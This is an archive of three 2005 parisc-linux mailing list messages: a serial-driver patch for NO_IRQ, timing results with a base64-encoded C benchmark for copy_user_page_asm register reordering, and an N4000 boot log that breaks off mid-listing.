	Mon, 3 Jan 2005 15:03:29 -0700 (MST)
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by free.linux.hp.com (Postfix) with ESMTP id CA8583BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Jan 2005 15:03:28 -0700 (MST)
Original-Received: (qmail 2847 invoked from network); 3 Jan 2005 17:03:26 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 3 Jan 2005 17:03:26 -0500
Original-Received: (qmail 8148 invoked from network); 3 Jan 2005 17:03:23 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 3 Jan 2005 17:03:23 -0500
User-Agent: KMail/1.7.2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22244

--Boundary-00=_2Ec2BDWsEqwfLPx
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

i mentioned this before but i guess it slipped through the cracks ;)
-mike

--Boundary-00=_2Ec2BDWsEqwfLPx
Content-Type: text/x-diff; charset="us-ascii";
	name="2.6.10-pa3-serial-NO_IRQ.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="2.6.10-pa3-serial-NO_IRQ.patch"

--- linux-2.6.10-pa3/drivers/serial/mux.c.orig	2005-01-03 16:16:18.085834288 -0500
+++ linux-2.6.10-pa3.fixed/drivers/serial/mux.c	2005-01-03 16:17:09.179066936 -0500
@@ -26,6 +26,7 @@
 #include <linux/slab.h>
 #include <linux/delay.h> /* for udelay */
 #include <linux/device.h>
+#include <asm/irq.h>
 #include <asm/io.h>
 #include <asm/parisc-device.h>
 
--- linux-2.6.10-pa3/drivers/serial/serial_core.c.orig	2005-01-03 16:16:34.786295432 -0500
+++ linux-2.6.10-pa3.fixed/drivers/serial/serial_core.c	2005-01-03 16:16:42.412136128 -0500
@@ -1915,9 +1915,6 @@
 		printk("MMIO 0x%lx", port->mapbase);
 		break;
 	}
-#ifndef NO_IRQ
-#define NO_IRQ (-1)
-#endif
 	if (port->irq == NO_IRQ) {
 		printk(" (polled) is a %s\n", uart_type(port));
 	} else {

--Boundary-00=_2Ec2BDWsEqwfLPx
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_2Ec2BDWsEqwfLPx--



From - Thu Nov 08 21:32:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DIFF use 6-regs in copy_user_page_asm
Date: Tue, 4 Jan 2005 14:12:40 +0100
Lines: 216
Approved: news@gmane.org
Message-ID: <41C9680200002C6C@mail-2-bnl.tiscali.it>
References: <20050104082940.GF18497@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="========/41C9680200002C6C/mail-2-bnl.tiscali.it"
X-Trace: ger.gmane.org 1416623637 12139 80.91.229.3 (22 Nov 2014 02:33:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>,
 "Ryan Bradetich" <rbradetich@uswest.net>,
 "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jan 2005 13:13:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx022) with SMTP; 04 Jan 2005 14:13:24 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BD0B33BE62; Tue,  4 Jan 2005 06:13:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30082-03; Tue, 4 Jan 2005 06:13:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 264E53BE63; Tue,  4 Jan 2005 06:12:57 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 741393BE5D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 06:12:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28716-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 Jan 2005 06:12:48 -0700 (MST)
Original-Received: from mail-r3.tiscali.it (unknown [213.205.37.211])
	by free.linux.hp.com (Postfix) with ESMTP id B906A3BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 06:12:46 -0700 (MST)
Original-Received: from tiscali.be (10.39.113.121)
	by mail-r3.tiscali.it with ESMTP; 04 Jan 2005 14:12:45 +0100
Original-Received: from mail-2-bnl.mail.tiscali.sys ([10.39.115.132]
	helo=mail-2-bnl.tiscali.it)
	by mrq-1.tiscalinet.it with esmtp (Exim 4.43)
	id 1CloUL-0000bv-Fm; Tue, 04 Jan 2005 14:12:45 +0100
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Tue, 4 Jan 2005 14:12:40 +0100
In-Reply-To: <20050104082940.GF18497@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22245


--========/41C9680200002C6C/mail-2-bnl.tiscali.it
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable


> -- Original Message --
> Date: Tue, 4 Jan 2005 00:29:40 -0800
> From: Randolph Chung <randolph@tausq.org>
> To: Ryan Bradetich <rbradetich@uswest.net>
> Cc: parisc-linux@lists.parisc-linux.org
> Reply-To: Randolph Chung <randolph@tausq.org>
> Subject: Re: [parisc-linux] DIFF use 6-regs in copy_user_page_asm
> 
> 
> > Is this something that would benefit older processors? Say a PCX-T
> > processor?  Is this something worth testing?  I'm pretty sure I 
> > have a PCX-T processor around I could boot up and test.
> 
> i have no idea, but we can test it and see. i've read some pdfs which
> suggest that all pa20 processors can do this reordering, but i don't
> know about pa11 processors. in any case, empirical results are always
> better than speculation :)
> 
This is only foreseen for pa2.0 ;-)

That said, I also tried re-ordering (with only 4 regs) on my c110 but tes=
t
case (previous cpup0.c) didn't show any improvement nor degradation !

Grant I also rewrite test case (here attached cpup1.c) to reproduce your
proposal and compare with present stuff in kernel and here are some resul=
ts:
patst005:/Develop/jso/Var/Comp# time ./cpup1 ; time ./cpup2

real    0m3.964s
user    0m0.209s
sys     0m3.753s

real    0m3.976s
user    0m0.190s
sys     0m3.781s
patst005:/Develop/jso/Var/Comp# time ./cpup2 ; time ./cpup1

real    0m3.946s
user    0m0.218s
sys     0m3.725s

real    0m3.961s
user    0m0.196s
sys     0m3.762s
patst005:/Develop/jso/Var/Comp# time ./cpup0 ; time ./cpup2 ; time ./cpup=
1

real    0m4.046s
user    0m0.354s
sys     0m3.691s

real    0m3.940s
user    0m0.225s
sys     0m3.712s

real    0m3.946s
user    0m0.208s
sys     0m3.734s
patst005:/Develop/jso/Var/Comp# time ./cpup0 ; time ./cpup1 ; time ./cpup=
2

real    0m4.068s
user    0m0.342s
sys     0m3.724s

real    0m3.948s
user    0m0.194s
sys     0m3.752s

real    0m3.936s
user    0m0.193s
sys     0m3.740s
patst005:/Develop/jso/Var/Comp# time ./cpup1 ; time ./cpup0 ; time ./cpup=
2

real    0m3.928s
user    0m0.202s
sys     0m3.725s

real    0m4.067s
user    0m0.329s
sys     0m3.731s

real    0m3.946s
user    0m0.224s
sys     0m3.718s
patst005:/Develop/jso/Var/Comp# time ./cpup2 ; time ./cpup0 ; time ./cpup=
1

real    0m3.942s
user    0m0.213s
sys     0m3.727s

real    0m4.086s
user    0m0.333s
sys     0m3.749s

real    0m3.956s
user    0m0.208s
sys     0m3.745s

Unfortunately (as in the previous test), I didn't reach to point out an
actual benefit :-(

(please note that I have to reduce the BUFFSIZE because my b2k has only
256Mb of ram ;-)

hth,
    Joel

-------------------------------------------------------------------------=
--
Tiscali solde! 1 mois et activation Gratuits, modem =E0 9,99=80
http://reg.tiscali.be/adsl/default.asp?lg=3DFR




--========/41C9680200002C6C/mail-2-bnl.tiscali.it
Content-Type: text/x-csrc
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="cpup1.c"

Ci8qCioqIENvUHkgVXNlciBQYWdlIGFzbSB0ZXN0ZXIKKioKKiogZ2NjIC1PMiAtbyBjcHVwMCBj
cHVwLmMJCXZhbmlsbGEgMzItYml0IGxvb3AKKiogCS1tYXJjaD0yLjAgLURMUDY0IC1vIGNwdXAx
CTY0LWJpdCwgNGxkICsgNHN0IHNlcXVlbmNlcwoqKgktbWFyY2g9Mi4wIC1ETFA2NCAtRFYxIC1v
IGNwdXAyCTY0LWJpdCwgNHJlZ3MsIDJsZC8yc3QgYnVuZGxlcwoqKiAJLW1hcmNoPTIuMCAtRExQ
NjQgLURVU0U2UkVHUyAtbyBjcHVwMyA2NC1iaXQsIDYgcmVncywgMmxkLzJzdCBidW5kbGVzCiov
CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdHJpbmcu
aD4KI2luY2x1ZGUgPGVycm5vLmg+CiNpbmNsdWRlIDxhc20vcGFnZS5oPgoKdm9pZCBfX2NvcHlf
dXNlcl9wYWdlX2FzbSh2b2lkICp0bywgdm9pZCAqZnJvbSkKewoJcmVnaXN0ZXIgdW5zaWduZWQg
bG9uZyBfX3RvIF9fYXNtX18gKCJyMjYiKSA9ICAodW5zaWduZWQgbG9uZyl0bzsKCXJlZ2lzdGVy
IHVuc2lnbmVkIGxvbmcgX19mcm9tIF9fYXNtX18gKCJyMjUiKSA9ICAodW5zaWduZWQgbG9uZylm
cm9tOwoKI2lmZGVmIExQNjQKCmFzbSB2b2xhdGlsZSAoImxkZAkJMCglMCksICUlcjE5XG4iCiIJ
bGRpCQkzMiwgJSVyMVxuIgoiMToJbGRkCQk4KCUwKSwgJSVyMjBcbiIKIglsZHcJCTI1NiglMCks
ICUlcjBcbiIKIglsZGQJCTE2KCUwKSwgJSVyMjFcbiIKIglsZGQJCTI0KCUwKSwgJSVyMjJcbiIK
I2lmZGVmIFVTRTZSRUdTCiIJbm9wXG4iCiIJbm9wXG4iCiIJbGRkCQkzMiglMCksICUlcjIzXG4i
CiIJbGRkCQk0MCglMCksICUlcjI0XG4iCiIJc3RkCQklJXIxOSwgMCglMSlcbiIKIglzdGQJCSUl
cjIwLCA4KCUxKVxuIgoiCWxkZAkJNDgoJTApLCAlJXIxOVxuIgoiCWxkZAkJNTYoJTApLCAlJXIy
MFxuIgoiCXN0ZAkJJSVyMjEsIDE2KCUxKVxuIgoiCXN0ZAkJJSVyMjIsIDI0KCUxKVxuIgoiCWxk
ZAkJNjQoJTApLCAlJXIyMVxuIgoiCWxkZAkJNzIoJTApLCAlJXIyMlxuIgoiCXN0ZAkJJSVyMjMs
IDMyKCUxKVxuIgoiCXN0ZAkJJSVyMjQsIDQwKCUxKVxuIgoiCWxkZAkJODAoJTApLCAlJXIyM1xu
IgoiCWxkZAkJODgoJTApLCAlJXIyNFxuIgoiCXN0ZAkJJSVyMTksIDQ4KCUxKVxuIgoiCXN0ZAkJ
JSVyMjAsIDU2KCUxKVxuIgoiCWxkZAkJIDk2KCUwKSwgJSVyMTlcbiIKIglsZGQJCTEwNCglMCks
ICUlcjIwXG4iCiIJc3RkCQklJXIyMSwgNjQoJTEpXG4iCiIJc3RkCQklJXIyMiwgNzIoJTEpXG4i
CiIJbGRkCQkxMTIoJTApLCAlJXIyMVxuIgoiCWxkZAkJMTIwKCUwKSwgJSVyMjJcbiIKIglzdGQJ
CSUlcjIzLCA4MCglJXIyNilcbiIKIglzdGQJCSUlcjI0LCA4OCglJXIyNilcbiIKIglsZG8JCTEy
OCglMCksICUwXG4iCiIJc3RkCQklJXIxOSwgIDk2KCUxKVxuIgoiCXN0ZAkJJSVyMjAsIDEwNCgl
MSlcbiIKIglzdGQJCSUlcjIxLCAxMTIoJTEpXG4iCiIJc3RkCQklJXIyMiwgMTIwKCUxKVxuIgoi
CWxkbwkJMTI4KCUxKSwgJTFcbiIKIglhZGRpYiw+CQktMSwgJSVyMSwgMWJcbiIKIglsZGQJCTAo
JTApLCAlJXIxOSIKI2Vsc2UJLyogIVVTRTZSRUdTICovIAoiCXN0ZAkJJSVyMTksIDAoJTEpXG4i
CiIJc3RkCQklJXIyMCwgOCglMSlcbiIKIglsZGQJCTMyKCUwKSwgJSVyMTlcbiIKIglsZGQJCTQw
KCUwKSwgJSVyMjBcbiIKIglzdGQJCSUlcjIxLCAxNiglMSlcbiIKIglzdGQJCSUlcjIyLCAyNCgl
MSlcbiIKIglsZGQJCTQ4KCUwKSwgJSVyMjFcbiIKIglsZGQJCTU2KCUwKSwgJSVyMjJcbiIKIglz
dGQJCSUlcjE5LCAzMiglMSlcbiIKIglzdGQJCSUlcjIwLCA0MCglMSlcbiIKIglsZGQJCTY0KCUw
KSwgJSVyMTlcbiIKIglsZGQJCTcyKCUwKSwgJSVyMjBcbiIKIglzdGQJCSUlcjIxLCA0OCglMSlc
biIKIglzdGQJCSUlcjIyLCA1NiglMSlcbiIKIglsZGQJCTgwKCUwKSwgJSVyMjFcbiIKIglsZGQJ
CTg4KCUwKSwgJSVyMjJcbiIKIglzdGQJCSUlcjE5LCA2NCglMSlcbiIKIglzdGQJCSUlcjIwLCA3
MiglMSlcbiIKIglsZGQJCSA5NiglMCksICUlcjE5XG4iCiIJbGRkCQkxMDQoJTApLCAlJXIyMFxu
IgoiCXN0ZAkJJSVyMjEsIDgwKCUxKVxuIgoiCXN0ZAkJJSVyMjIsIDg4KCUxKVxuIgoiCWxkZAkJ
MTEyKCUwKSwgJSVyMjFcbiIKIglsZGQJCTEyMCglMCksICUlcjIyXG4iCiIJc3RkCQklJXIxOSwg
OTYoJTEpXG4iCiIJc3RkCQklJXIyMCwgMTA0KCUxKVxuIgoiCWxkbwkJMTI4KCUwKSwgJTBcbiIK
IglzdGQJCSUlcjIxLCAxMTIoJTEpXG4iCiIJc3RkCQklJXIyMiwgMTIwKCUxKVxuIgoiCWxkbwkJ
MTI4KCUxKSwgJTFcbiIKIglhZGRpYiw+CQktMSwgJSVyMSwgMWJcbiIKIglsZGQJCTAoJTApLCAl
JXIxOSIKI2VuZGlmCS8qIFVTRTZSRUdTICovCgojZWxzZQkvKiAhTFA2NCAqLwoKYXNtIHZvbGF0
aWxlICgibGRpCQk2NCwgJSVyMVxuIgoiMToJbGR3CQkwKCUwKSwgJSVyMTlcbiIKIglsZHcJCTQo
JTApLCAlJXIyMFxuIgoiCWxkdwkJOCglMCksICUlcjIxXG4iCiIJbGR3CQkxMiglMCksICUlcjIy
XG4iCiIJc3R3CQklJXIxOSwgMCglMSlcbiIKIglzdHcJCSUlcjIwLCA0KCUxKVxuIgoiCXN0dwkJ
JSVyMjEsIDgoJTEpXG4iCiIJc3R3CQklJXIyMiwgMTIoJTEpXG4iCiIJbGR3CQkxNiglMCksICUl
cjE5XG4iCiIJbGR3CQkyMCglMCksICUlcjIwXG4iCiIJbGR3CQkyNCglMCksICUlcjIxXG4iCiIJ
bGR3CQkyOCglMCksICUlcjIyXG4iCiIJc3R3CQklJXIxOSwgMTYoJTEpXG4iCiIJc3R3CQklJXIy
MCwgMjAoJTEpXG4iCiIJc3R3CQklJXIyMSwgMjQoJTEpXG4iCiIJc3R3CQklJXIyMiwgMjgoJTEp
XG4iCiIJbGR3CQkzMiglMCksICUlcjE5XG4iCiIJbGR3CQkzNiglMCksICUlcjIwXG4iCiIJbGR3
CQk0MCglMCksICUlcjIxXG4iCiIJbGR3CQk0NCglMCksICUlcjIyXG4iCiIJc3R3CQklJXIxOSwg
MzIoJTEpXG4iCiIJc3R3CQklJXIyMCwgMzYoJTEpXG4iCiIJc3R3CQklJXIyMSwgNDAoJTEpXG4i
CiIJc3R3CQklJXIyMiwgNDQoJTEpXG4iCiIJbGR3CQk0OCglMCksICUlcjE5XG4iCiIJbGR3CQk1
MiglMCksICUlcjIwXG4iCiIJbGR3CQk1NiglMCksICUlcjIxXG4iCiIJbGR3CQk2MCgl
MCksICUlcjIyXG4iCiIJc3R3CQklJXIxOSwgNDgoJTEpXG4iCiIJc3R3CQklJXIyMCwgNTIoJTEp
XG4iCiIJc3R3CQklJXIyMSwgNTYoJTEpXG4iCiIJc3R3CQklJXIyMiwgNjAoJTEpXG4iCiIJbGRv
CQk2NCglMSksICUxXG4iCiIJYWRkaWIsPgkJLTEsICUlcjEsIDFiXG4iCiIJbGRvCQk2NCglMCks
ICUwIgojZW5kaWYJLyogTFA2NCAqLwoJOgkJCgk6ICJyIihfX2Zyb20pLCAiciIoX190bykgKTsK
fQoKI2RlZmluZSBCVUZGU0laRQkoMTAyNCoxMDI0KjY0KQojZGVmaW5lIFBQQgkJKEJVRkZTSVpF
L1BBR0VfU0laRSkJLyogUGFnZXMgUGVyIEJ1ZmYgKi8KCmludCBtYWluKGludCBhcmdjLCBjaGFy
ICogKiBhcmd2LCBjaGFyICogKiBlbnYpCnsKCgljaGFyICpNZW1TcmMsICpNZW1Ec3Q7Cgl1bnNp
Z25lZCBsb25nIGo7CgoJTWVtU3JjID0gbWFsbG9jKEJVRkZTSVpFKTsKCU1lbURzdCA9IG1hbGxv
YyhCVUZGU0laRSk7CgoJaWYgKE1lbVNyYyA9PSBOVUxMIHx8IE1lbURzdCA9PSBOVUxMKQoJCXJl
dHVybiAxOwoKCS8qIGluaXRpYWxpemUgZmlyc3QgcGFnZSBvZiBNZW1TcmMgKi8KCWZvciAoaiA9
IDA7IGogPCAoUEFHRV9TSVpFL3NpemVvZih1bnNpZ25lZCBsb25nKSkgOyBqKyspIHsKCQkoKHVu
c2lnbmVkIGxvbmcgKikgTWVtU3JjKVtqXT1qOwoJfQoKCS8qIGNsb25lIGZpcnN0IHBhZ2UgdG8g
cmVtYWluaW5nIHBhZ2VzIC0gcGFnZSBhdCBhIHRpbWUgKi8KCWZvciAoaiA9IDE7IGogPCBQUEIg
OyBqKyspIHsKCQlfX2NvcHlfdXNlcl9wYWdlX2FzbSggTWVtU3JjICsgKGoqUEFHRV9TSVpFKSwg
TWVtU3JjKTsKCX0KCgkvKiBDbG9uZSBTcmMgdG8gRGVzdCAtIHBhZ2UgYXQgYSB0aW1lICovCglm
b3IgKGogPSAwOyBqIDwgUFBCIDsgaisrKSB7CgkJX19jb3B5X3VzZXJfcGFnZV9hc20oIE1lbURz
dCArIChqKlBBR0VfU0laRSksCgkJCQkgICAgICBNZW1TcmMgKyAoaipQQUdFX1NJWkUpKTsKCX0K
CglmcmVlKE1lbVNyYyk7CglmcmVlKE1lbURzdCk7CglyZXR1cm4gMDsKfQoK

--========/41C9680200002C6C/mail-2-bnl.tiscali.it
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--========/41C9680200002C6C/mail-2-bnl.tiscali.it--



From - Thu Nov 08 21:32:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.10-pa4: some "Badness in smp_call_function"
	during boot time of n4k (may be the same for nicol?)
Date: Tue, 4 Jan 2005 15:28:00 +0100
Lines: 407
Approved: news@gmane.org
Message-ID: <41C9680200002CF2@mail-2-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623637 12143 80.91.229.3 (22 Nov 2014 02:33:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jan 2005 14:28:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx008) with SMTP; 04 Jan 2005 15:28:33 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C3FC63BE69; Tue,  4 Jan 2005 07:28:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31101-01; Tue, 4 Jan 2005 07:28:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E76413BE68; Tue,  4 Jan 2005 07:28:12 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2BE873BE63
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 07:28:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30262-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 Jan 2005 07:28:05 -0700 (MST)
Original-Received: from mail-r3.tiscali.it (unknown [213.205.37.211])
	by free.linux.hp.com (Postfix) with ESMTP id DF0053BE62
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 07:28:03 -0700 (MST)
Original-Received: from tiscali.be (10.39.113.122)
	by mail-r3.tiscali.it with ESMTP; 04 Jan 2005 15:28:03 +0100
Original-Received: from mail-2-bnl.mail.tiscali.sys ([10.39.115.132]
	helo=mail-2-bnl.tiscali.it)
	by mrq-2.tiscalinet.it with esmtp (Exim 4.43) id 1ClpfG-0006FG-9d
	for parisc-linux@lists.parisc-linux.org; Tue, 04 Jan 2005 15:28:02 +0100
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Tue, 4 Jan 2005 15:28:00 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22246

Hi all,

Here is the console output of the n4k (dual way, 4Gb of ram):
Linux version 2.6.10-pa4-n4kmp (root@patst006) (gcc version 3.0.4) #1 SMP=

Tue Jan 4 11:24:31 CET 2005
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
Determining PDC firmware type: 64 bit PAT.
model 00005d30 00000491 00000000 00000002 27988e5d 100000f1 00000008 0000=
00b2
000000b2
vers  00000301
CPUID vers 18 rev 11 (0x0000024b)
capabilities 0x1
model 9000/800/N4000-55
Memory Ranges:
 0) Start 0x0000000000000000 End 0x000000007fffffff Size   2048 Mb
 1) Start 0x0000000180000000 End 0x00000001ffffffff Size   2048 Mb
Total Memory: 4096 Mb
SMP: bootstrap CPU ID is 0
Built 2 zonelists
Kernel command line: root=3D/dev/sda5 HOME=3D/ panic=3D120 profile=3D2 co=
nsole=3DttyS0
TERM=3Dvt102 palo_kernel=3D3/vmlinux-2.6.10-pa4-n4kmp
kernel profiling enabled (shift: 2)
PID hash table entries: 4096 (order: 12, 131072 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 1048576 (order: 11, 8388608 bytes)
Inode-cache hash table entries: 524288 (order: 10, 4194304 bytes)
Memory: 4194304k available
Mount-cache hash table entries: 256 (order: 0, 4096 bytes)
Brought up 1 CPUs
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Unknown machine at 0xfffffffffed25000 [37] { 0, 0x0, 0x5d3, 0x00000 }
2. Unknown machine at 0xfffffffffed2d000 [45] { 0, 0x0, 0x5d3, 0x00000 }
3. DEW BC Runway Port at 0xfffffffffed24000 [36] { 7, 0x0, 0x584, 0x0000c=

}
4. DEW BC Runway Port at 0xfffffffffed2c000 [44] { 7, 0x0, 0x584, 0x0000c=

}
5. Memory at 0xfffffffffedc0000 [192] { 1, 0x0, 0x090, 0x00009 }
6. IKE I/O BC Merced Port at 0xfffffffffed00000 [0] { 7, 0x0, 0x803, 0x00=
00c
}
7. Elroy PCI Bridge at 0xffffffffbffe0000 [0/0] { 13, 0x0, 0x782, 0x0000a=

}
8. Elroy PCI Bridge at 0xffffffffbffe2000 [0/1] { 13, 0x0, 0x782, 0x0000a=

}
9. Elroy PCI Bridge at 0xffffffffbffe4000 [0/2] { 13, 0x0, 0x782, 0x0000a=

}
10. Elroy PCI Bridge at 0xffffffffbffe8000 [0/4] { 13, 0x0, 0x782, 0x0000=
a
}
11. Elroy PCI Bridge at 0xffffffffbffea000 [0/5] { 13, 0x0, 0x782, 0x0000=
a
}
12. Elroy PCI Bridge at 0xffffffffbfff0000 [0/8] { 13, 0x0, 0x782, 0x0000=
a
}
